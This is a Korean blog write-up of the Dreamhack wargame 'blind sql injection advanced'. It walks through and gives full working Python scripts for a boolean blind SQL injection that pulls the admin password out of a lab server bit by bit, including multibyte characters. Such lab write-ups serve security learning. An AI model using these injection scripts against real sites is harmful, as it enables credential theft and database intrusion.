Without a Break

[Dreamhack] blind sql injection advanced 본문

Web/Wargame

[Dreamhack] blind sql injection advanced

와븨 2022. 11. 17. 21:39

 

 

사용자가 입력한 값이 필터링 없이 출력된다.

 

 

'or 1=1 limit 1#'을 입력했을 때, 이미 존재한다고 뜨는 것을 보아 행의 개수가 1이어야 참, 거짓을 판별할 수 있다는 것을 알 수 있었다.

 

 

위의 정보들을 바탕으로 admin 계정의 패스워드들을 추출하기 위한 공격 코드를 작성한다.

공격 코드를 작성하는 순서는 다음과 같다.

  1. admin 패스워드 길이 찾기
  2. 각 문자 별 비트열 길이 찾기 (패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해)
  3. 각 문자 별 비트열 추출
  4. 비트열을 문자로 변환 

 

1. admin 패스워드 길이 찾기

length 함수 사용한다. length 함수는 문자열을 bytes 형태로 표혔하였을 때의 길이를 반환하는 함수이다.

즉, 인코딩에 관계없이 전체 문자열을 표현하는데에 사용되는 바이트의 수를 반환하기 때문에 만약 아스키코드로 문자열이 구성되어있지 않다면, 올바르지 않은 값을 반환할 수 있다.

=> 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서 char_length 함수를 사용해야 한다.

 

이를 토대로 코드를 작성하면 다음과 같다.

from requests import get
host = "http://host3.dreamhack.games:15812/"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

 

2. 각 문자 별 비트열 길이 찾기

패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 비트열로 변환하여 추출하기 전에 각 비트열의 길이를 찾아야 한다. admin 패스워드 길이를 찾을 때와 동일한 방식으로 찾을 수 있다.

 

이를 토대로 코드를 작성하면 다음과 같다.

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

 

3. 각 문자 별 비트열 추출

각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 한다. 비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있다.

 

이를 토대로 코드를 작성하면 다음과 같다.

bits = ""
for j in range(1, bit_length + 1):
    query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        bits += "1"
    else:
        bits += "0"
print(f"character {i}'s bits: {bits}")

 

5. 비트열을 문자로 변환

패스워드의 각 비트열을 모두 추출했다면, 이를 다시 문자로 변환해주어야 한다. 이 때, 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해주어야 한다.

비트열을 다시 문자로 변환하기 위해서는 다음과 같은 순서로 진행해야 한다.

  1. 비트열을 정수로 변환
  2. 정수를 Big Endain 형태의 문자로 변환
  3. 변환된 문자를 인코딩에 맞게 변환

 

이를 토대로 코드를 작성하면 다음과 같다.

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

 

최종 코드

from requests import get
host = "http://host3.dreamhack.games:15812/"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

 

코드를 실행하면 플래그를 얻을 수 있다.

 

'Web > Wargame' 카테고리의 다른 글

[Dreamhack] sql injection bypass WAF  (0) 2022.11.24
[Dreamhack] error based sql injection  (0) 2022.11.22
[Dreamhack] funjs  (0) 2022.11.16
[Dreamhack] login-1  (0) 2022.11.16
[Dreamhack] session  (0) 2022.11.16